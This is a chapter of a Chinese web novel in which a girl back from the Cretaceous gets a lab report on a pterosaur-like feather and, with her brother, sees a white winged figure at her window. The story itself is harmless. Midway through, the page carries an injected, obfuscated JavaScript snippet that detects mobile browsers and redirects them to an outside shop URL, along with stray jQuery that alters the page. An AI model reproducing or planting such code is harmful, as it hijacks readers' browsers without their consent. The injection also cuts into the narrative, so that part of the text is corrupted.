鉴定报告在一周后寄到了。
信封是牛皮纸的，上面盖着大学生物系的公章。林小禾坐在餐桌前，手里拿着那封信，翻来覆去地看了好几遍。信封很薄，里面只有一张纸。但她觉得它有千斤重。她不敢打开。因为怕里面的字否定一切——怕上面写着“这只是普通鸟类羽毛”“你的记忆是假的”“那一百多天从未存在过”。
林小北从房间里走出来，手里拿着一杯水。看到她坐在那里发呆，走过来。“寄来了？”她点了点头。林小北把水杯放在桌上，拉过椅子坐在她对面。“打开看看。”
她深吸了一口气，撕开信封。里面是一张A4纸，上面密密麻麻的字。她看不太懂——什么“髓质结构”“羽轴横切面”“角质层光谱分析”。她跳过那些术语，直接看最后一段结论。
“经检测，送检样本的微观结构不属于现存任何鸟纲或翼手目物种。其髓质纤维排列方式与化石记录的翼龙类软组织特征高度相似，但样本的新鲜程度无法用已知的保存机制解释。建议进一步进行碳-14测年及DNA测序。”
她看了三遍，才看明白。简单说就是：这根羽毛不是任何现存鸟类的，和翼龙的化石特征很像，但看起来又像是刚从活体身上掉下来的——这不可能。按照现有的科学认知，翼龙灭绝了六千六百万年，不可能有新鲜的羽毛。所以报告没有下结论。它只是说“无法解释”。
林小禾把报告放在桌子上，靠在椅背上。林小北拿起来看了一遍，放下。两个人沉默了很久。
“它没有说不可能。”林小北说。
她看着他。
“它只是说无法解释。不等于假的。”林小北的声音很平静。“科学解释不了的东西多了。你穿越这件事，科学也解释不了。”
她低下头，看着那根羽毛。它躺在她手心里，白色的，软软的。血迹已经变成了暗褐色，但羽毛本身还是那么干净，那么白。她把它贴在脸上。
“它存在过。”她轻声说。
“嗯。”
“我不是做梦。”
“嗯。”
她把羽毛小心地放回信封里，放在枕头下面。和玩偶放在一起。
接下来的日子，她在家休息。没有去上学，没有出门。只是呆在家里，吃饭，睡觉，发呆。妈妈每天给她做红烧肉，变着花样做——红烧排骨，红烧鸡翅，红烧鱼。她吃得很多，但体重没有涨。妈妈心疼，又给她炖汤。她喝了，喝完就回房间，躺在床上，看着天花板。
天花板上那道裂缝还在。从墙角延伸到灯座旁边，细细的，弯弯的。她每天盯着它看，看它什么时候会发光，什么时候会呼吸。但它没有。它只是一道普通的裂缝，是墙皮老化脱落造成的。不是时空裂缝。不会带她回去。
她有时候会想起小角。想起它用头拱她的手，想起它把脑袋枕在她脚上，想起它吃蕨类吃到打嗝。想得多了，就从枕头下面拿出那块沾血的兽皮——小角的血，已经干透了，硬硬的，暗褐色。她把它贴在脸上，闭上眼睛，试着回忆小角的温度。小角的头是暖的，枕在脚上，像一个小暖炉。她需要那个温度。但现在没有了。
她有时候会想起小智。想起它蹲在她肩膀上缩成一团，想起它偷坚果放在她脚边，想起它用翅膀捂脸的样子。想得多了，就从枕头下面拿出那包碎叶子——小智的叶子，已经碎成了渣，用另一片蕨叶包着。她把它打开，看着那些碎渣，用手指轻轻拨弄。她不敢用力，怕把它们弄得更碎。这些是她在白垩纪唯一留下的东西——除了那根羽毛，除了那块兽皮。
她有时候会想起绒绒。想得最多的是绒绒。想起它歪头看她的样子，想起它用喙碰她的脸，想起它把翅膀盖在她身上。想得多了，就从枕头下面拿出那根羽毛和那个玩偶。她把玩偶贴在脸上，把羽毛贴在玩偶上。两个都是绒绒。一个是假的，一个是真的。但都是绒绒。
“绒绒。”她轻声说。
没有人回答。
晚上，她睡不着。躺在床上，翻来覆去。闭上眼睛就看到绒绒在往下掉，翅膀上有一个洞，血在光里飘散。它对着她扇动翅膀，一下，两下，然后被光吞没了。她睁开眼睛，心跳得很快。屋里很黑，什么都看不到。她伸手去摸枕头下面——羽毛在，玩偶在，兽皮在，碎叶子在。都在。她攥着它们，等心跳平复。
翻了个身，面朝窗户。窗帘没有拉严，有一道缝，月光从缝里透进来，在地上画出一条细细的银线。她看着那条银线，想起了裂缝的光。裂缝的光是白色的，柔和的，比月光亮，比月光暖。它在她面前的时候，她觉得自己被什么抱住了。现在，它不在了。只有月光，冷冷的。
她闭上眼睛，强迫自己睡。但脑子里全是白垩纪的画面。不是那些危险的、痛苦的画面——是那些平常的、温暖的画面。绒绒在溪边喝水，歪头看水里的倒影。小角在吃蕨类，肚子圆滚滚的，打嗝。小智蹲在小角头上，用翅膀捂脸。这些画面一遍一遍地转，像一台卡住的播放器。她关不掉。
不知道过了多久，她迷迷糊糊地快要睡着了。半梦半醒之间，她听到了一个声音。很轻，很短，像什么东西从窗外掠过。她猛地睁开眼睛。窗帘还在，月光还在。但窗帘在动——不是被风吹的，是有什么东西从外面靠近，带起了一阵气流。她的心跳停了。
她坐起来，赤脚走到窗边，伸手拉开窗帘。
窗外是夜空。灰黑色的，云层很厚，看不到星星。路灯的光从楼下照上来，把窗台照成橘黄色。什么都没有。只有对面楼的窗户，亮着几盏灯。她站在那里，看着空荡荡的夜空，心里有一种说不清楚的感觉。不是失望，不是期待，是一种——她刚才真的听到了什么。
她正要拉上窗帘，眼角瞥到了一样东西。
白色。在夜空中，一闪而过。不是灯，不是星星，不是飞机。是一个白色的、长长的、像翅膀一样的形状。它从对面的楼顶后面飞出来，划过夜空，消失在云层里。整个过程不到两秒钟。但她看到了。
她的手在抖。心跳很快，快到数不清。她把窗帘拉到底，把脸贴在玻璃上，往外看。夜空空空荡荡，什么都没有了。那个白色的东西不见了。
“绒绒。”她轻声说。
没有人回答。
她站在那里，看了很久。久到玻璃上蒙了一层哈气，她把哈气擦掉，继续看。没有白色，没有翅膀，什么都没有。
她不知道自己站了多久。也许是几分钟，也许是半个小时。最后她拉上窗帘，走回床边，坐下来。她把羽毛从枕头下面拿出来，举到眼前。羽毛在月光下泛着银白色的光。
“是你吗？”她轻声问。
羽毛不会回答。
她把羽毛贴在脸上。凉的，滑的，软的。她闭上眼睛。那个白色影子的形状还留在她的视网膜上——长长的，弯弯的，像一只展开的翅膀。
“是你。”她轻声说。“一定是你。”
她没有再睡。她坐在床上，抱着膝盖，手里攥着那根羽毛。等天亮。她不知道那个白色影子是真是假。也许是梦，也许是幻觉，也许是真的。但她选择相信是真的。
天亮的时候，妈妈敲门叫她吃早饭。她应了一声，把羽毛放回枕头下面，走出房间。林小北坐在餐桌前，啃着吐司。看到她，愣了一下。“你眼睛怎么了？没睡好？”她摇了摇头，坐到他对面。“我昨晚看到了。”
“看到什么？”
“白色影子。在窗外。像翅膀。”她看着林小北的眼睛。“很大，很长，从楼顶后面飞出来，划过天空。”
林小北放下吐司，看着她。“你确定？”
“不确定。也许是梦，也许是幻觉。”她低下头。“但我看到了。”
林小北沉默了一会儿。“可能是鸟。晚上有鸟飞过。”
“不是鸟。比鸟大。比鸟大很多。”
林小北没有再说话。他看了她一眼，站起来，走进她房间。她跟进去。林小北拉开窗帘，往外看了看。对面是居民楼，楼下是停车场，远处是马路。什么特别的东西都没有。他转回头看着她。
“今晚我陪你等。”
她愣住了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764870|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你信我？”
“我说过。你是我妹，你说的，我都信。”
她低下头，眼眶红了。
那天晚上，林小北搬了把椅子，坐在她房间里。窗帘拉开着，月光从窗外透进来，把地板照得发白。她坐在床上，他坐在椅子上。两个人都没有说话。她手里攥着那根羽毛，他手里拿着手机，但没看。只是坐着，看着窗外。
等了很久。从晚上九点等到十点，从十点等到十一点。什么都没有。天空灰黑色的，云层很厚，看不到星星。路灯的光从楼下照上来，把窗台照成橘黄色。对面的楼亮着几盏灯，有人在阳台上抽烟，红点一闪一闪的。然后灭了。那人进去了。
“会不会不来了？”林小北问。
“不知道。”她轻声说。“也许昨天是我的幻觉。”
林小北没有接话。两个人又沉默了。
十一点半的时候，她快要放弃了。眼睛酸了，脖子僵了，她靠在床头，半闭着眼睛。然后她听到了声音。很轻，很短，像什么东西从窗外掠过。她猛地坐直了。“你听到了吗？”
林小北也坐直了。“听到了。”
两个人同时看向窗外。夜空中，一道白色的影子从对面楼的楼顶后面飞出来。不是鸟，不是飞机，不是任何她见过的东西。是翅膀。很大的翅膀，展开来有好几米长。白色的羽毛在月光下泛着银光。它飞得很慢，很优雅，像在水里游。它从楼顶后面飞出来，划过天空，朝他们的窗户飞过来。
林小北站了起来。她也站了起来。两个人站在窗前，看着那个白色的影子越来越近，越来越大。它的翅膀扇动的时候，她能听到那种声音——不是风，是羽毛划破空气的声音。她很熟悉。她听过无数次。
绒绒。
那个影子飞到窗前，停在了窗外。悬在半空中，翅膀轻轻扇着。它的眼睛是亮的，在黑暗中发着光。它歪头看着窗里的她。歪头。和以前一模一样。
她的眼泪涌出来了。“绒绒。”
她伸手去推窗户。窗户推开了，夜风涌进来，凉的。她伸出手，想去摸它。手伸到窗外，指尖快要碰到它的羽毛了。然后那个影子开始变淡，像墨水滴进水里，慢慢化开。白色变成灰色，灰色变成透明。它消失了。窗外的夜空什么都没有了。只有风，和远处马路上的车声。
她的手悬在半空中，停了几秒钟。然后她慢慢缩回来。
林小北站在她旁边，没有说话。他的眼睛很亮，嘴巴微微张着。
“你看到了吗？”她问。
“看到了。”他的声音有点抖。“白色的。很大的翅膀。”
“不是我的幻觉。”
“不是。”
她转过身，看着林小北。眼泪流下来了，但她笑了。“它来看我了。”
林小北没有回答。他只是伸出手，拍了拍她的肩膀。她走到床边，坐下来。把那根羽毛从枕头下面拿出来，举到眼前。羽毛在月光下泛着银白色的光。她把它贴在脸上。
“绒绒。你来看我了。”
她把羽毛放回去，躺在床上，看着天花板。林小北把椅子搬回去，走到门口，停下来，回头看她。“晚安，小禾。”
“晚安。”
他关上了门。
她一个人躺在黑暗里，手里攥着那根羽毛，嘴角是笑的。因为绒绒来看她了。也许那不是真的绒绒，也许只是她的幻觉，也许只是一个梦。但她选择相信是真的。
她闭上眼睛，轻声说：“晚安，绒绒。”
窗外，风吹过，树叶沙沙响。
她不知道，在几百米外的夜空中，一个白色的影子正在盘旋。它飞得很高，很高，高到城市的灯光照不到它。它看着那扇亮着灯的窗户，看了很久。然后它展开翅膀，朝北边飞去，消失在夜色里。
那是梦还是真？
也许她自己也不知道。
但她知道，那根羽毛还在。那个玩偶还在。那些记忆还在。
那就够了。
白垩纪，已经结束了。
但绒绒，没有。